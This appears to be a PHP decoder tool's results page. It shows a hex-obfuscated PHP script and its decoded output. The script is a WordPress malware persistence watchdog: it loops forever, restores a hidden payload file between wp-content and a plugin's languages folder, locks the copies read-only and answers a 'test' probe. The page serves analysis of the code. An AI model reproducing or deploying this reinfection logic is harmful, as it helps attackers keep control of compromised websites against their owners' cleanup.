Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort();$fromfile="/v\x61\x72\x2..

Decoded Output download

<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort();$fromfile="/var/www/vhosts/mechentel.de/mechentel-neu//wp-content/.111433";$tofile="/var/www/vhosts/mechentel.de/mechentel-neu//wp-content/plugins/bulk-delete/languages/.43bb82";$time = intval(trim(@file_get_contents("0c3ae612159c1b89fe034af6461ab854.txt")));$now = time();if (($now - $time) > 60) {do{if(!@file_exists($tofile) && @file_exists($fromfile)){@copy($fromfile,$tofile);@chmod($tofile,0444);}if(!@file_exists($fromfile) && file_exists($tofile)){@copy($tofile,$fromfile);@chmod($tofile,0444);}if(@file_exists($fromfile) && "0c3ae612159c1b89fe034af6461ab854" != @md5_file($tofile)){@chmod($tofile,0644);@copy($fromfile,$tofile);@chmod($tofile,0444);}if(isset($_REQUEST['test'])){exit('ok');}sleep(1);@file_put_contents("0c3ae612159c1b89fe034af6461ab854.txt", time());}while(true);} ?>

Did this file decode correctly?

Original Code

<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort();$fromfile="/v\x61\x72\x2fw\x77w/\x76ho\x73\x74\x73/\x6dechen\x74\x65l\x2ed\x65\x2fm\x65\x63h\x65\x6ete\x6c-\x6e\x65\x75/\x2f\x77p\x2dco\x6e\x74\x65\x6e\x74\x2f.1\x31\x31\x343\x33";$tofile="/\x76\x61\x72/\x77\x77\x77\x2fv\x68\x6f\x73t\x73/me\x63h\x65ntel.\x64e/\x6dec\x68\x65n\x74e\x6c\x2dne\x75//\x77p\x2d\x63o\x6et\x65\x6et\x2f\x70lug\x69n\x73/bu\x6ck\x2dd\x65l\x65\x74\x65\x2f\x6c\x61ngua\x67es\x2f\x2e43\x62\x6282";$time = intval(trim(@file_get_contents("0\x633\x61e612\x315\x39c\x31\x62\x389fe\x30\x334a\x666461a\x628\x354.txt")));$now = time();if (($now - $time) > 60) {do{if(!@file_exists($tofile) && @file_exists($fromfile)){@copy($fromfile,$tofile);@chmod($tofile,0444);}if(!@file_exists($fromfile) && file_exists($tofile)){@copy($tofile,$fromfile);@chmod($tofile,0444);}if(@file_exists($fromfile) && "0\x633\x61e612\x315\x39c\x31\x62\x389fe\x30\x334a\x666461a\x628\x354" != @md5_file($tofile)){@chmod($tofile,0644);@copy($fromfile,$tofile);@chmod($tofile,0444);}if(isset($_REQUEST['test'])){exit('ok');}sleep(1);@file_put_contents("0\x633\x61e612\x315\x39c\x31\x62\x389fe\x30\x334a\x666461a\x628\x354.txt", time());}while(true);} ?>

Function Calls

set_time_limit 1
error_reporting 1
ignore_user_abort 1

Variables

None

Stats

MD5 becc25f2c96909fa4b4bf642fe71af08
Eval Count 0
Decode Time 115 ms